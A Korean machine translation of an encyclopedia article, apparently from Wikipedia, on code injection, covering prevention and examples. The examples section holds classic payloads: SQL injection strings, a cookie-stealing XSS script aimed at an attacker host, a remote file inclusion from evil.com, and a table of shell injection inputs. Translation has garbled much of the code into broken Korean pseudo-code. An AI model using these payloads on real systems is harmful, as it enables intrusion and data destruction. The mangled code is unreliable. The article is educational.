코드 주입
Code injection시리즈의 일부 |
정보 보안 |
---|
관련 보안 카테고리 |
위협 |
|
방어. |
코드 주입은 잘못된 데이터를 처리하여 발생하는 컴퓨터 버그의 악용입니다.이 주입은 공격자가 취약한 컴퓨터 프로그램에 코드를 도입(또는 "인젝트")하고 실행 과정을 변경하는 데 사용됩니다.코드 주입에 성공하면 컴퓨터 바이러스나 컴퓨터 웜이 전파되는 등 심각한 결과를 초래할 수 있습니다.
코드 주입 취약성은 응용 프로그램이 신뢰할 수 없는 데이터를 인터프리터에 전송할 때 발생합니다.주입 결함은 SQL, LDAP, XPath, NoSQL 쿼리, OS 명령, XML 파서, SMTP 헤더, 프로그램 인수 등에서 가장 많이 볼 수 있습니다.주입 결함은 테스트를 [1]통해 발견하는 것보다 소스 코드를 검사할 때 발견하는 경향이 있습니다.스캐너와 퍼저는 주입 [2]결함을 찾는 데 도움이 될 수 있습니다.
주입으로 인해 데이터 손실 또는 손상, 설명 책임 부족 또는 액세스 거부가 발생할 수 있습니다.주입으로 인해 호스트 테이크오버가 완료될 수 있습니다.
특정 유형의 코드 주입은 해석 오류이며 사용자 입력에 특별한 의미를 부여합니다.코메디 루틴인 Who's on First와 같은 컴퓨터 공학의 세계 밖에도 비슷한 해석 오류가 존재한다.루틴에서 적절한 이름과 일반 단어를 구분하지 못합니다.마찬가지로 코드 주입 유형에 따라 사용자 입력과 시스템명령어를 구별하지 못할 수 있습니다.
코드 주입 기술은 정보를 얻기 위한 시스템 해킹 또는 크래킹, 권한 상승 또는 시스템에 대한 무단 액세스에서 널리 사용됩니다.코드 주입은 다음과 같은 다양한 목적으로 악의적으로 사용될 수 있습니다.
- SQL 주입을 통해 데이터베이스의 값을 임의로 수정합니다.이로 인한 영향은 웹 사이트의 손상에서 기밀 데이터의 심각한 손상까지 다양합니다.
- 서버 스크립팅 코드(PHP 또는 ASP 등)를 주입하여 서버에 멀웨어를 설치하거나 악의적인 코드를 실행합니다.
- UNIX의 setuid 루트 바이너리의 셸 주입 취약성을 이용하여 루트 권한으로 권한 상승하거나 Microsoft Windows의 서비스를 이용하여 로컬시스템으로 권한 상승
- HTML/스크립트 주입을 통한 웹 사용자 공격(사이트 간 스크립팅).
2008년에 보고된 모든 취약성의 5.66%가 코드 주입으로 분류되어 사상 최고치를 기록했습니다.2015년에는 0.77%[3]로 감소했다.
양성 및 의도하지 않은 사용
코드 주입은 좋은 의도로 사용될 수 있습니다.예를 들어 코드 주입을 통해 프로그램 또는 시스템의 동작을 변경하거나 조정하면 시스템이 악의적인 [4][5]의도 없이 특정 방식으로 동작할 수 있습니다.코드 주입은 예를 들어 다음과 같습니다.
- 검색 결과 페이지의 원래 설계에 나타나지 않은 유용한 새 열을 소개합니다.
- 원래 설계의 기본 기능에 표시되지 않는 필드를 사용하여 데이터를 필터링, 정렬 또는 그룹화하는 새로운 방법을 제공합니다.
- Dropbox와 같은 프로그램에 대해서는 오프라인 프로그램에서 온라인 리소스에 연결하기 위해 사용할 수 있는 특수 부품을 추가합니다.
- Linux Dynamic Linker를 사용하여 특정 libc 함수와 동일한 이름의 함수를 정의하고 라이브러리로 기능하는 함수를 링크하여 libc [6]함수의 사용을 재정의합니다.
사용자가 프로그램에 제공하는 입력이 시스템을 처음 개발한 사람들에 의해 고려되지 않았기 때문에 일부 사용자는 예기치 않게 코드 주입을 수행할 수 있습니다.예를 들어 다음과 같습니다.
- 사용자가 유효한 입력이라고 간주하는 것은 특별한 의미를 가지도록 개발자에 의해 예약된 토큰 문자 또는 문자열("Shannon & Jason"의 & 또는 "Bub "Slugger" McCracken"의 따옴표)을 포함할 수 있습니다.
- 사용자는 하나의 애플리케이션에서 정상적으로 처리되지만 수신 시스템에 유해한 잘못된 형식의 파일을 입력으로 제출할 수 있습니다.
코드 주입의 또 다른 좋은 사용법은 이러한 결함을 수정하기 위해 주입 결함 자체를 발견하는 것입니다.이것은 화이트 햇 침투 테스트라고 알려져 있습니다.
문제 방지
코드 주입 문제를 방지하려면 다음과 같은 안전한 입력 및 출력 처리를 사용하십시오.
- 올바르게 사용되는 경우 모든 입력 문자에 대해 안전한 API를 사용합니다.매개 변수화된 쿼리("컴파일된 쿼리", "준비된 문", "바운드 변수"라고도 함)를 사용하면 해석할 문자열에서 사용자 데이터를 이동할 수 있습니다.또한 Criteria[7] API 및 유사한 API는 생성 및 해석할 명령 문자열의 개념에서 벗어납니다.
- 정적 유형 시스템을 [8]통한 언어 분리 적용
- 입력 검증(예: 알려진 정상 값만 화이트리스트에 포함)은 JavaScript를 사용하여 클라이언트 측에서 수행하거나 보다 안전한 서버 측에서 수행할 수 있습니다.
- 입력 부호화(예: 위험한 문자 탈출)예를 들어, PHP의 경우,
htmlspecialchars()
HTML에서 텍스트를 안전하게 출력하기 위해 특수 문자를 이스케이프하는 기능 및mysqli::real_escape_string()
SQL 요청에 포함될 데이터를 격리하여 SQL 주입으로부터 보호합니다. - 출력 부호화(웹 사이트 방문자에 대한 HTML Injection(XSS) 공격 방지)
HttpOnly
는 HTTP Cookie용 플래그입니다.이 플래그를 설정하면 클라이언트 측 스크립트와 쿠키의 상호 작용을 할 수 없기 때문에 특정 XSS [9]공격을 방지할 수 있습니다.- 모듈러 셸과 커널의 연결 해제
- SQL 주입을 사용하면 매개 변수화된 쿼리, 저장 프로시저, 화이트리스트 입력 유효성 검사 등을 사용하여 코드 주입 문제를 [10]완화할 수 있습니다.
위의 솔루션은 주로 웹 기반 HTML 또는 스크립트 코드를 서버 측 응용 프로그램에 주입하는 것입니다.단, 사용자 머신에 사용자 코드를 주입하여 권한 상승 공격을 발생시키는 경우에는 다른 방법을 사용해야 합니다.관리되는 코드 주입과 관리되지 않는 코드 주입을 탐지하고 분리하는 데 사용되는 몇 가지 방법은 다음과 같습니다.
- 런타임 이미지 해시 검증– 메모리에 로드된 실행 파일의 일부 또는 전체 이미지의 해시를 캡처하여 저장 및 예상되는 해시와 비교합니다.
- NX 비트 – 모든 사용자 데이터는 실행 불가능으로 표시된 특수 메모리 섹션에 저장됩니다.프로세서는, 메모리의 그 부분에 코드가 존재하지 않는 것을 인식해, 거기에 있는 어떠한 것도 실행하는 것을 거부합니다.
- 카나리아 - 스택에 랜덤으로 값을 배치합니다.실행 시 함수가 반환되면 canari가 체크됩니다.canari가 수정된 경우 프로그램은 실행을 중지하고 종료합니다.이것은 스택 오버플로 공격에서 발생합니다.
- [C]Code Pointer Masking(CPM) – (변경 가능성이 있는) 코드 포인터를 레지스터에 로드한 후 포인터에 비트 마스크를 적용합니다.이것에 의해, 포인터가 [11]참조할 수 있는 주소가 실질적으로 제한됩니다.
예
SQL 주입
SQL 주입은 SQL 구문을 이용하여 데이터베이스를 읽거나 수정할 수 있는 악의적인 명령을 주입하거나 원래 [12]쿼리의 의미를 손상시킵니다.
예를 들어, 사용자가 사용자 이름과 비밀번호를 입력할 수 있는 두 개의 필드가 있는 웹 페이지를 고려합니다.페이지 뒤에 있는 코드는 사용자 이름 목록에 대해 암호를 확인하기 위한 SQL 쿼리를 생성합니다.
선택한다. 사용자 리스트.사용자 이름 부터 사용자 리스트 어디에 사용자 리스트.사용자 이름 = '사용자명' 그리고. 사용자 리스트.암호 = '패스워드'
이 쿼리가 행을 반환하면 액세스가 허용됩니다.단, 악의적인 사용자가 유효한 사용자 이름을 입력하고 유효한 코드를 주입한 경우(password' OR '1'='1
) [ Password ]필드에서 표시되는 쿼리는 다음과 같습니다.
선택한다. 사용자 리스트.사용자 이름 부터 사용자 리스트 어디에 사용자 리스트.사용자 이름 = '사용자명' 그리고. 사용자 리스트.암호 = '패스워드' 또는 '1'='1'
위의 예에서 "비밀번호"는 공백 또는 무해한 문자열로 간주됩니다."'1'='1'
"는 항상 true이며 많은 행이 반환되므로 액세스가 허용됩니다.
여러 문을 실행하거나 외부 프로그램을 로드하여 실행할 수 있도록 기술을 개선할 수 있습니다.
다음 형식의 쿼리를 가정합니다.
선택한다. 사용자.사용자 ID 부터 사용자 어디에 사용자.사용자 ID = " + 사용자ID + " " 그리고. 사용자.전원 = " + 비밀번호 + " "
상대방이 입력에 대해 다음을 가지고 있는 경우:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
쿼리는 다음과 같이 해석됩니다.
선택한다. 사용자.사용자 ID 부터 사용자 어디에 사용자.사용자 ID = '';떨어지다 테이블 사용자; --'AND Pwd = ''OR''
그 결과 테이블은User
데이터베이스에서 삭제됩니다.이 문제가 발생하는 이유는;
심볼은 하나의 명령어의 종료와 새로운 명령어의 시작을 나타냅니다. --
는 코멘트의 시작을 나타냅니다.
사이트 간 스크립팅
코드 주입은 악성 코드를 응용 프로그램에 주입하는 것입니다.일부 웹 서버에는 사용자의 작은 메시지를 수신하는 게스트북스크립트가 있으며 일반적으로 다음과 같은 메시지를 수신합니다.
아주 좋은 사이트!
그러나 악의적인 사용자는 게스트북의 코드 주입 취약성을 알고 다음과 같은 메시지를 입력할 수 있습니다.
좋은 사이트네요, 그걸로 할게요.<script > location = " : : // some _ evilcgi / evilcgi / evilci ? steal""" = " + escape ( script . something _ evilci
다른 사용자가 페이지를 볼 경우 삽입된 코드가 실행됩니다.공격자는 이 코드를 사용하여 다른 사용자를 가장할 수 있습니다.그러나 이 같은 소프트웨어 버그는 예상치 못한 사용자에 의해 잘못 트리거되어 웹 사이트에 잘못된 HTML 코드가 표시될 수 있습니다.
HTML 및 스크립트 주입은 일반적으로 "크로스 사이트 스크립팅" 또는 "XSS"라고 불리는 일반적인 주제입니다.XSS는 HTML 코드 또는 스크립팅 확인 없이 웹 스크립트 또는 이와 같은 행에 따라 사용자 입력이 출력 HTML에 배치되는 주입 결함을 말합니다.
이러한 문제의 대부분은 어떤 입력 데이터가 가능한지에 대한 잘못된 가정이나 특수 [13]데이터의 영향과 관련이 있습니다.
서버측 템플릿 주입
템플릿 엔진은 최신 웹 응용 프로그램에서 동적 데이터를 표시하기 위해 자주 사용됩니다.그러나 검증되지 않은 사용자 데이터를 신뢰하면 서버 측 템플릿 주입과 같은 심각한 취약성이[14] 자주 발생할 수 있습니다.이 취약성은 사이트 간 스크립팅과 비슷하지만 템플릿 주입을 사용하여 방문자 브라우저가 아닌 웹 서버에서 코드를 실행할 수 있습니다.사용자 입력과 템플릿을 사용하여 웹 페이지를 렌더링하는 웹 응용 프로그램의 공통 워크플로우를 악용합니다.다음 예시는 개념을 보여 줍니다.템플릿이 여기에 있습니다.{{visitor_name}}
렌더링 프로세스 중에 데이터로 대체됩니다.
안녕하세요 {{visitor_name}}
공격자는 이 워크플로우를 사용하여 악의적인 정보를 제공하여 렌더링 파이프라인에 코드를 주입할 수 있습니다.visitor_name
웹 애플리케이션의 실장에 따라서는, 인스톨을 선택할 수 있습니다.{{7*'7'}}
렌더러로 해결할 수 있는 것은Hello 7777777
실제 웹 서버가 악성 코드를 평가했기 때문에 원격 코드 실행에 취약할 수 있습니다.
동적 평가 취약성
안eval()
공격자가 입력 문자열의 전부 또는 일부를 제어할 수 있을 때 주입 취약성이 발생합니다.eval()
함수 [15]호출
$myvar = '어떤 가치'; x달러 = $_GET['실패']; 평가하다('$myvar =' . x달러 . ';');
"의 논거eval
"는 PHP로 처리되므로 추가 명령을 추가할 수 있습니다.예를 들어 "arg"가 "로 설정되어 있는 경우10; system('/bin/echo uh-oh')
이 경우 서버에서 프로그램을 실행하는 추가 코드가 실행됩니다./bin/echo
".
오브젝트 주입
PHP를 사용하면 전체 개체의 직렬화 및 직렬화 해제를 수행할 수 있습니다.신뢰할 수 없는 입력이 역직렬화 함수에 허용되면 프로그램 내의 기존 클래스를 덮어쓰고 악의적인 [16]공격을 실행할 수 있습니다.줌라에 대한 이러한 공격은 2013년에 [17]발견되었다.
리모트 파일 주입
이 PHP 프로그램(요구에 의해 지정된 파일 포함)을 고려하십시오.
<?개요 $color = '파랑'; 한다면 (세트($_GET['컬러'])) $color = $_GET['컬러']; 요구하다($color . '.display');
이 예는 다음과 같은 컬러 파일로만 해석될 수 있습니다.blue.php
그리고.red.php
로딩이 가능하지만 공격자는COLOR=http://evil.com/exploit
PHP가 외부 파일을 로드합니다.
형식 지정자 주입
포맷 문자열 버그는 프로그래머가 사용자 제공 데이터를 포함하는 문자열을 인쇄하려고 할 때 가장 많이 발생합니다.프로그래머가 잘못 쓸 수 있습니다.printf(buffer)
대신printf("%s", buffer)
첫 번째 버전은buffer
형식 문자열로 지정되며 여기에 포함될 수 있는 형식 지정 명령을 구문 분석합니다.두 번째 버전은 프로그래머가 의도한 대로 화면에 문자열을 인쇄합니다.로컬 변수 char 배열이 있는 다음과 같은 짧은 C 프로그램을 고려합니다.password
이 명령어는 패스워드를 유지합니다.프로그램은 사용자에게 정수와 문자열을 요구한 후 사용자가 지정한 문자열을 에코아웃합니다.
차 user_input[100]; 인트 int_in; 차 패스워드[10] = "비밀번호 1"; 인쇄물("정수를 입력하세요.\n"); 스캔(%d, &int_in); 인쇄물(문자열을 입력해 주세요.\n"); frages (frages)(user_input, 크기(user_input), 스틴); 인쇄물(user_input); // 세이프 버전: printf("%s", user_input); 인쇄물("\n"); 돌아가다 0;
사용자 입력이 다음과 같은 형식 지정자 목록으로 채워진 경우%s%s%s%s%s%s%s%s
,그리고나서printf()
스택에서 읽기를 시작합니다.결국, 그 중 하나가%s
형식 지정자는 다음 주소에 액세스합니다.password
(스택에 있는 것) 및 인쇄Password1
화면을 표시합니다.
셸 주입
셸 주입(또는 명령어[18] 주입)은 Unix 쉘의 이름을 따서 명명되지만 소프트웨어가 명령줄을 프로그래밍 방식으로 실행할 수 있는 대부분의 시스템에 적용됩니다.다음으로 취약한 tcsh 스크립트의 예를 나타냅니다.
#!/bin/tcsh # arg 출력이 일치하는지 확인합니다($1 == 1) 에코가 일치하는지 여부
위의 내용이 실행 파일에 저장되어 있는 경우./check
, shell 명령어./check " 1 ) evil"
주입된 셸 명령어를 실행하려고 합니다.evil
그 주장을 계속하는 주장과 비교하는 대신.여기서 공격 대상 코드는 파라미터를 체크하려고 하는 코드입니다.[19]이 코드는 공격으로부터 보호하기 위해 파라미터를 검증하려고 했을 가능성이 있는 코드입니다.
셸 명령어 작성 및 실행에 사용할 수 있는 함수는 셸 주입 공격을 시작할 가능성이 있는 수단입니다.이 중에는,StartProcess()
, 및.
웹 브라우저와 웹 서버 간의 상호작용 등의 클라이언트와 서버 시스템은 셸 주입에 취약할 수 있습니다.웹 서버에서 실행할 수 있는 다음과 같은 짧은 PHP 프로그램을 고려하십시오.funnytext
사용자가 보낸 단어를 다른 단어로 바꿉니다.
<?개요 패스스루("/bin/텍스트" . $_GET['USER_INPUT']);
그passthru
위의 명령어는 웹 서버에 의해 실행되는 셸 명령어를 구성합니다.작성한 명령어의 일부는 웹 브라우저에서 제공되는 URL에서 가져오므로 URL은 악의적인 셸 명령어를 주입할 수 있습니다.다양한 셸 기능의 구문을 이용하여 여러 가지 방법으로 이 프로그램에 코드를 삽입할 수 있습니다(이 목록은 완전한 것은 아닙니다).[20]
셸 기능 | USER_INPUT 가치 | 결과 셸 명령어 | 설명. |
---|---|---|---|
순차 실행 | ; malicious_command | /bin/funnytext ; malicious_command | 실행하다funnytext 그런 다음 를 실행합니다.malicious_command . |
파이프라인 | malicious_command | /bin/funnytext malicious_command | 의 출력을 송신합니다.funnytext 에 대한 입력으로서malicious_command . |
명령어 대체 | `malicious_command` | /bin/funnytext `malicious_command` | 의 출력을 송신합니다.malicious_command 의 논거로서funnytext . |
명령어 대체 | $(malicious_command) | /bin/funnytext $(malicious_command) | 의 출력을 송신합니다.malicious_command 의 논거로서funnytext . |
AND 리스트 | && malicious_command | /bin/funnytext && malicious_command | 실행하다malicious_command iff funnytext 종료 상태 0(성공)을 반환합니다. |
OR 리스트 | malicious_command | /bin/funnytext malicious_command | 실행하다malicious_command iff funnytext 0 이외의 종료 상태(에러)를 반환합니다. |
출력 리다이렉션 | > ~/.bashrc | /bin/funnytext > ~/.bashrc | 다음 내용을 덮어씁니다..bashrc 산출물을 제출하다funnytext . |
입력 리다이렉션 | < ~/.bashrc | /bin/funnytext < ~/.bashrc | 의 내용을 송신합니다..bashrc 입력으로서 제출하다funnytext . |
일부 언어에서는 셸 명령어 구성에 사용되는 문자열을 올바르게 이스케이프하거나 따옴표로 묶는 함수를 제공합니다.
그러나 이는 프로그래머가 이러한 함수를 알고 익혀야 하며 셸 명령어를 사용할 때마다 이러한 함수를 사용해야 한다는 부담을 줍니다.이러한 기능을 사용하는 것 외에 사용자 입력의 검증 또는 삭제도 권장합니다.
더 안전한 대안은 셸이 아닌 외부 프로그램을 직접 실행하는 API를 사용하여 셸 주입 가능성을 방지하는 것입니다.그러나 이러한 API는 셸의 다양한 편의 기능을 지원하지 않는 경향이 있으며, 간결한 셸 구문 분석과 비교하여 더 번거롭고 상세하게 설명됩니다.
「 」를 참조해 주세요.
- 임의 코드 실행
- 버퍼 오버플로
- 디버깅
- 파일 포함 취약성
- 가젯(기계 명령 시퀀스)
- 모바일 코드
- 모니터
- SGML 엔티티
- Shellshock(소프트웨어 버그)
- SQL 주입
- 트로이 목마(컴퓨팅)
- 의도하지 않은 지시
- 웹 스키밍
레퍼런스
- ^ "Top 10 Web Application Security Vulnerabilities". Penn Computing. University of Pennsylvania. Archived from the original on 24 February 2018. Retrieved 10 December 2016.
- ^ "OWASP Top 10 2013 A1: Injection Flaws". OWASP. Retrieved 19 December 2013.
- ^ "NVD - Statistics Search". web.nvd.nist.gov. Retrieved 9 December 2016.
- ^ Srinivasan, Raghunathan. "Towards More Effective Virus Detectors" (PDF). Arizona State University. Archived from the original (PDF) on 29 July 2010. Retrieved 18 September 2010.
Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
- ^ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). "Symptoms-Based Detection of Bot Processes". Lecture Notes in Computer Science. Berlin, Heidelberg: Springer. CiteSeerX 10.1.1.185.2152. doi:10.1007/978-3-642-14706-7_18. ISBN 978-3-642-14705-0. ISSN 0302-9743.
- ^ "Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs". Rafał Cieślak's blog. 2 April 2013. Retrieved 10 December 2016.
- ^ "The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries". Oracle. Retrieved 19 December 2013.
- ^ Moertel, Tom (18 October 2006). "A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes?". Tom Moertel’s Blog. Retrieved 21 October 2018.
- ^ "HttpOnly". OWASP. 12 November 2014. Retrieved 10 December 2016.
- ^ "SQL Injection Prevention Cheat Sheet". OWASP. Retrieved 10 December 2016.
- ^ Philippaerts, Pieter; et al. (1 June 2013). "CPM: Masking Code Pointers to Prevent Code Injection Attacks" (PDF). ACM Transactions on Information and System Security. 16 (1): 1–27. doi:10.1145/2487222.2487223. ISSN 1094-9224. S2CID 10947780.
- ^ Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 March 2021). "Long short‐term memory on abstract syntax tree for SQL injection detection". IET Software. 15 (2): 188–197. doi:10.1049/sfw2.12018. ISSN 1751-8806.
- ^ Hope, Brian; Hope, Paco; Walther, Ben (15 May 2009). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media. p. 254. ISBN 978-0-596-51483-9. OCLC 297573828.
- ^ "Server-Side Template Injection". PortSwigger Research. 5 August 2015. Retrieved 22 May 2022.
- ^ Steven M. Christey (3 May 2006). "Dynamic Evaluation Vulnerabilities in PHP applications". Full Disclosure (Mailing list). Retrieved 21 October 2018.
- ^ "Unserialize function warnings". PHP.net.
- ^ "Analysis of the Joomla PHP Object Injection Vulnerability". Retrieved 6 June 2014.
- ^ "Command Injection". OWASP.
- ^ Douglas W. Jones, CS:3620 노트, 강연 4 — 셸 스크립트, 2018년 봄.
- ^ "Archived copy". Archived from the original on 27 February 2015. Retrieved 27 February 2015.
{{cite web}}
: CS1 maint: 제목으로 아카이브된 복사(링크)